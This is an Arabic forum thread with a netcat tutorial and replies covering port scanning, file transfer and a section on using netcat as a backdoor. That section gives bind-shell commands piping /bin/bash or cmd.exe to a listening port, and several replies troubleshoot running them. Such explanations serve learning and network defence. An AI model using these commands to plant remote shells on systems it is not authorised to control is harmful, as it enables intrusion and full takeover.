إعـــــــلان

تقليص
لا يوجد إعلان حتى الآن.

الـ Netcat - Swiss army knife واستخداماتها

تقليص
هذا موضوع مثبت
X
X
 
  • تصفية - فلترة
  • الوقت
  • عرض
إلغاء تحديد الكل
مشاركات جديدة

  • الـ Netcat - Swiss army knife واستخداماتها

    السلام عليكم ورحمة الله وبركاته




    من أفضل الأدوات التي عرفها الـ Hackers تقوم هذه الأداة
    بارسال واستقبال البيانات باستعمال الـ TCP & UDP Protocols
    وهي بالمرتبة الرابعة في قائمة Top 100 Network Security Tools

    استخدامات الـ Netcat متعددة وخطيرة فتستطيع استعمالها لكثير من الأمور منها

    فحص المنافذ المفتوحة في السيرفر

    تستطيع أداة الـ Netcat فحص المنافذ المفتوحة بالسيرفر ولكن الـ Nmap
    أفضل وأسرع منها في ذلك << سأضع شرح لها قريبا ان شاء الله, وللقيام بهذه العملية
    نستعمل الأمر
    كود:
     nc -v -w1 SERVER-IP -z FromPort-ToPort
    أما بالنسبة للخيارات التي استخدمناها
    -v لجعل الأداة تعمل بشكل الـ verbose mode أي لرؤية ماذا يحدث
    -w لتحديدي الـ Time out لكل اتصال وهنا حددناه ثانية واحدة
    -z تستعمل في عملية فحص المنافذ

    مثال على ذلك
    كود:
    nc -v -w1 64.233.183.147 -z 1-100
    ولفحص أكثر من نطاق منافذ نستعمل الأمر
    كود:
    nc -v -w1 -z 64.233.183.147 -z 1-100 400-500
    ملاحظة: الـ 64.233.183.147 هو IP موقع Google

    نقل الملفات بين جهازك والسيرفر

    من ميزات الـ Netcat أنها تستطيع نقل الملفات بين جهازين
    وللقيام بهذه العملية نطبق الأمر في الجهاز المرسل
    كود:
    nc SERVER-IP PORT < FILE
    ونطبق الأمر في الجهاز المستقبل
    كود:
    nc -l -p PORT > FILE
    مثال لارسال ملف اسمه data.txt عن طريق البورت 5555 مثلا
    كود:
    nc 192.168.0.45 5555 < data.txt
    أما بالنسبة لاستقبال ملف data.txt عن طريق المنفذ 5555 ننفذ الأمر
    كود:
    nc -l -p 5555 > data.txt
    جعل الـ Netcat تعمل كـ Backdoor


    هذه أخطر استعمالات الـ Netcat لأنه يشكل خطورة على الجهاز و السيرفر بشكل عام
    حيث تمتاز أداة الـ Netcat بخاصية ارسال البيانات الى برنامج معين
    مثل الـ cmd.exe في ويندوز و /bin/bash في لينوكس مما يجعلك
    تستطيع تطبيق أوامر على السيرفر والتحكم به بشكل كامل
    يتم تنفيذ هذه الخاصية باستعمال الأمر
    كود:
    nc -l -p PORT -e PROGRAM
    مع اضافة -d و -L في ويندوز ليصبح الأمر
    كود:
    nc -l -p PORT -d -e PROGRAM -L
    مثال على هذه الخاصية نقوم بتطبيق الأمر
    كود:
    nc -l -p 4455 -e /bin/bash
    على السيرفر
    اذا كان السيرفر ويندوز نطبق نفس الأمر مع اضافة -L و -d مع القيام بتغيير
    الـ /bin/bash الى cmd.exe ليصبح الأمر بالشكل
    كود:
    nc -l -p 4455 -e -d cmd.exe -L
    وللاتصال بالسيرفر نطبق الأمر
    كود:
    nc -v -n SERVER-IP 4455
    وبهذه الطريقة
    نستطيع ارسال أوامر للتحكم بالسيرفر

    ولمعرفة جميع خصائص هذه الأداة نفذ الأمر
    كود:
    nc -h

    ان أصبت فمن الله وان أخطأت فمن نفسي ومن الشيطان


    أرجو أن ينال الشرح اعجابكم
    تحياتي Br4v3-H34r7.

  • #2
    nice work bro...

    شرح جميل وخفيف دون اي تعقيدات...

    النت كات اداة لا غنى عنها لأي خبير امن شبكات ايضا... وهنا تأتي اهمية الاعداد الصحيح للجدار الناري iptables
    V.I.P

    (وَاصْبِرْ فَإِنَّ اللَّهَ لَا يُضِيعُ أَجْرَ الْمُحْسِنِينَ)
    هود 115

    Linux is user-friendly, but it happens to be selective about its friends

    "احذر أن تكون مثل البقية تأخذ وﻻتعطي ، فلن يكون هناك مصادر تعليمية على الشبكة، ﻻأكثر الله من أمثالهم"


    مجتمع لينوكس العربي: وقف لله تعالى وصدقة جارية، فلا بارك الله في كل من يحاول الإساءة إليه في الظاهر أو في الخفاء...


    تعليق


    • #3
      السلام عليكم ورحمة الله وبركاته

      حصلت لي مشكلة بعد ان قمت بتحميل البرنامج و تركييبه
      شاهد الصورة المصاحبة يرفض البرنامج التشغيل
      حاولت تركيب الإصدار netcat-0.7.1-1.i386.rpm عن طريق السمارت مرة أخرى فرفض و يقول بانه ليست هناك إصدار متوافق مع البرنامج

      حاولت التركيب مرة أخرى عن طريق السمارت فتظهر الملاحظة بانه هناك أصدار موجود مسبقا مماثل ألا وهو [email protected]
      فما هو الخطأ حسب رأيك





      اخوتي الكرام لقد وجدت الحل وهو في كتابة سطر الاوامر ويظهر انه مغاير لما ورد في المشاركة الرئيسية
      في الأول يكتب الامر netcat ثم في السطر التالي ما المراد تنفيذه
      كما في الصورة الثانية المصاحبة
      دمتم بود



      الملفات المرفقة
      التعديل الأخير تم بواسطة أثير قحطان; الساعة 11-05-2015, 01:50 AM.
      ومصر ريحانتي و الشام نرجستي ,,و في الجزيرة تاريخي و عنواني ,,,
      و حيثما ذكر إسم الله في بلد ... عددت ارجاءه من لب أوطاني

      تعليق


      • #4
        اريد فتح بورت ولكن


        كود:
        [LEFT]linux-9gva:/home/ROOT # Netcat -l -p 2888 -e /bin/bash/
        bash: Netcat: command not found
        linux-9gva:/home/ROOT # nc -l -p 4455 -e /bin/bash
        bash: nc: command not found[/LEFT]
        التعديل الأخير تم بواسطة أثير قحطان; الساعة 24-08-2014, 01:19 PM.
        [email protected]

        تعليق


        • #5
          دومك مميز ومبدع يا عبدو الله يعطيك العافية يا بطل ...


          المشاركة الأصلية بواسطة mobarmeg مشاهدة المشاركة
          اريد فتح بورت ولكن


          كود:
          [LEFT]linux-9gva:/home/ROOT # Netcat -l -p 2888 -e /bin/bash/
          bash: Netcat: command not found
          linux-9gva:/home/ROOT # nc -l -p 4455 -e /bin/bash
          bash: nc: command not found[/LEFT]
          الأمر هو:
          netcat وليس Netcat
          التعديل الأخير تم بواسطة أثير قحطان; الساعة 11-05-2015, 01:43 AM.
          إِنَّمَـا الأُمَـمُ الأَخْـلاقُ مَا بَقِيَـتْ ... فَـإِنْ هُمُ ذَهَبَـتْ أَخْـلاقُهُمْ ذَهَبُـوا

          إذا المرء لا يرعاك إلا تكلفاً ... فدعه ولا تكثر عليه التأسفا
          ففي الناس أبدال وفي الترك راحة ... وفي القلب صبر للحبيب ولو جفا
          فما كل من تهواه يهواك قلبه ... ولا كل من صافيته لك قد صفا
          إذا لم يكن صفو الوداد طبيعة ... فلا خير في خل يجيء تكلفا
          ولا خير في خل يخون خليله ... ويلقاه من بعد المودة بالجفا
          وينكر عيشاً قد تقادم عهده ... ويظهر سراً كان بالأمس في خفا

          [ مواقع مفيدة: أروع موقع القرآن الكريم |مدونتي |Twitter |نظام طارق ]

          تعليق


          • #6
            طبقنا شوف الناتج


            كود:
            [LEFT][email protected]:~> netcat l -p 2888 -e /bin/bash/
            netcat -h for help
            [email protected]:~>[/LEFT]
            التعديل الأخير تم بواسطة أثير قحطان; الساعة 24-08-2014, 01:15 PM.
            [email protected]

            تعليق


            • #7
              كود:
              [LEFT]netcat l -p 2888 -e /bin/bash/[/LEFT]
              طيب عم يقلك فتاح netcat -h ! فتحه!

              كود:
              netcat -l -p 2888 -e /bin/bash
              التعديل الأخير تم بواسطة أثير قحطان; الساعة 10-05-2015, 05:46 PM.
              ومن علم - رحمك الله - أن كلامه من عمله قلَّ إلا فيما ينفعه ومن أيقن أنه مسؤولٌ عما ألف وعما كتب لم يعمل الشيء وضدّه ولم يستفرغ مجهوده في تثبيت الباطل عنده وأنشدني الرِّياشي: ولا تكتب بخطك غير شيء ... يَسرك في القيامة أن تراه. [ابن قتيبة]

              تعليق


              • #8
                كيف ما فهمتك وضح اكثر
                التعديل الأخير تم بواسطة أثير قحطان; الساعة 10-05-2015, 05:46 PM.
                [email protected]

                تعليق


                • #9
                  ما فهمت شو؟

                  اكتب
                  كود:
                  netcat -l -p 2888 -e /bin/bash
                  أنت كنت ناسي الداش قبل ال l مشان هيك عم يقلك في غلط!
                  ومن علم - رحمك الله - أن كلامه من عمله قلَّ إلا فيما ينفعه ومن أيقن أنه مسؤولٌ عما ألف وعما كتب لم يعمل الشيء وضدّه ولم يستفرغ مجهوده في تثبيت الباطل عنده وأنشدني الرِّياشي: ولا تكتب بخطك غير شيء ... يَسرك في القيامة أن تراه. [ابن قتيبة]

                  تعليق


                  • #10
                    شوف النتيجة


                    كود:
                    [LEFT]linux-9gva:/home/ROOT # netcat -l -p 2888 -e /bin/bash
                    netcat -h for help
                    linux-9gva:/home/ROOT #[/LEFT]
                    التعديل الأخير تم بواسطة أثير قحطان; الساعة 24-08-2014, 01:21 PM.
                    [email protected]

                    تعليق


                    • #11
                      شكرا للجميع على الردود و شكرا لكل من ساعد الأخوة ورد على استفساراتهم عوضا عني

                      شوف النتيجة

                      كود:
                      [LEFT]linux-9gva:/home/ROOT # netcat -l -p 2888 -e /bin/bash
                      netcat -h for help
                      linux-9gva:/home/ROOT #[/LEFT]
                      غريب! أنت متأكد من كتابة الأمر بشكل صحيح وأي اصدار تستخدم؟
                      التعديل الأخير تم بواسطة أثير قحطان; الساعة 10-05-2015, 05:47 PM.

                      تعليق

                      يعمل...
                      X